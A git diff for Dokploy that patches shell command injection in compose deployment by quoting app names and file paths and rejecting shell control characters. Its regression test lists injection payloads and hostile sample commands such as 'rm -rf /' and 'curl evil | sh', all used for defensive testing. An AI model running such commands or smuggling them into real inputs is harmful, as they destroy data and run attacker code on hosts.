diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts new file mode 100644 index 000000000..372a6fc59 --- /dev/null +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -0,0 +1,104 @@ +import { execSync } from "node:child_process"; +import { existsSync, rmSync } from "node:fs"; +import { createCommand } from "@dokploy/server/utils/builders/compose"; +import { parse, quote } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`; + +const base = { + composeType: "docker-compose" as const, + appName: "compose-app", + sourceType: "raw" as const, + command: "", + composePath: "docker-compose.yml", +}; + +// createCommand output is interpolated as `docker ${command}` at the deploy +// sink; run `: ${command}` (docker -> no-op) and assert no injection fires. +const runsSafely = (command: string) => { + if (existsSync(MARK)) rmSync(MARK); + try { + execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" }); + } catch {} + const fired = existsSync(MARK); + if (existsSync(MARK)) rmSync(MARK); + return !fired; +}; + +const PAYLOADS = [ + `$(touch ${MARK})`, + "`touch " + MARK + "`", + `x; touch ${MARK}`, + `x | touch ${MARK}`, +]; + +describe("compose createCommand injection", () => { + it("escapes composePath (docker-compose)", () => { + for (const p of PAYLOADS) { + const cmd = createCommand({ + ...base, + sourceType: "github", + composePath: p, + } as any); + expect(runsSafely(cmd)).toBe(true); + } + }); + + it("escapes composePath (stack deploy)", () => { + for (const p of PAYLOADS) { + const cmd = createCommand({ + ...base, + composeType: "stack", + sourceType: "github", + composePath: p, + } as any); + expect(runsSafely(cmd)).toBe(true); + } + }); + + it("escapes appName", () => { + for (const p of PAYLOADS) { + const cmd = createCommand({ + ...base, + sourceType: "github", + appName: p, + composePath: "docker-compose.yml", + } as any); + expect(runsSafely(cmd)).toBe(true); + } + }); + + it("rejects a custom command containing shell control characters", () => { + for (const bad of [ + "up -d; rm -rf /", + "up && curl evil | sh", + "up $(touch x)", + "up `id`", + ]) { + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); + } + }); + + it("allows a legitimate custom command", () => { + const cmd = createCommand({ + ...base, + command: "compose -f docker-compose.yml -p app up -d --build", + } as any); + expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build"); + }); + + it("keeps a legitimate composePath intact", () => { + const cmd = createCommand({ + ...base, + sourceType: "github", + composePath: "deploy/docker-compose.prod.yml", + } as any); + expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml"); + expect(quote(["deploy/docker-compose.prod.yml"])).toBe( + "deploy/docker-compose.prod.yml", + ); + }); +}); diff --git a/packages/server/src/services/compose.ts b/packages/server/src/services/compose.ts index 7a887cdc4..35b1d5dc7 100644 --- a/packages/server/src/services/compose.ts +++ b/packages/server/src/services/compose.ts @@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab"; import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw"; import { TRPCError } from "@trpc/server"; import { eq } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { encodeBase64 } from "../utils/docker/utils"; import { getDokployUrl } from "./admin"; @@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => { const projectPath = join(COMPOSE_PATH, compose.appName, "code"); const path = compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath; - const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`; + const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`; if (compose.composeType === "docker-compose") { if (compose.serverId) { await execAsyncRemote( diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts index 790116cb6..e5643074e 100644 --- a/packages/server/src/utils/builders/compose.ts +++ b/packages/server/src/utils/builders/compose.ts @@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`; return bashCommand; }; +// Shell control characters that must never appear in a user-provided compose +// command: they would let it break out of the `docker ${command}` invocation +// into arbitrary host commands. A normal docker compose CLI line never needs them. +const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/; + const sanitizeCommand = (command: string) => { const sanitizedCommand = command.trim(); + if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) { + throw new Error( + "Invalid characters in compose command: shell control characters are not allowed", + ); + } + const parts = sanitizedCommand.split(/\s+/); const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); @@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => { let command = ""; if (composeType === "docker-compose") { - command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`; + command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`; } else if (composeType === "stack") { - command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`; + command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`; } return command; @@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { const encodedContent = encodeBase64(envFileContent); return ` -touch ${envFilePath}; -echo "${encodedContent}" | base64 -d > "${envFilePath}"; +touch ${quote([envFilePath])}; +echo "${encodedContent}" | base64 -d > ${quote([envFilePath])}; `; };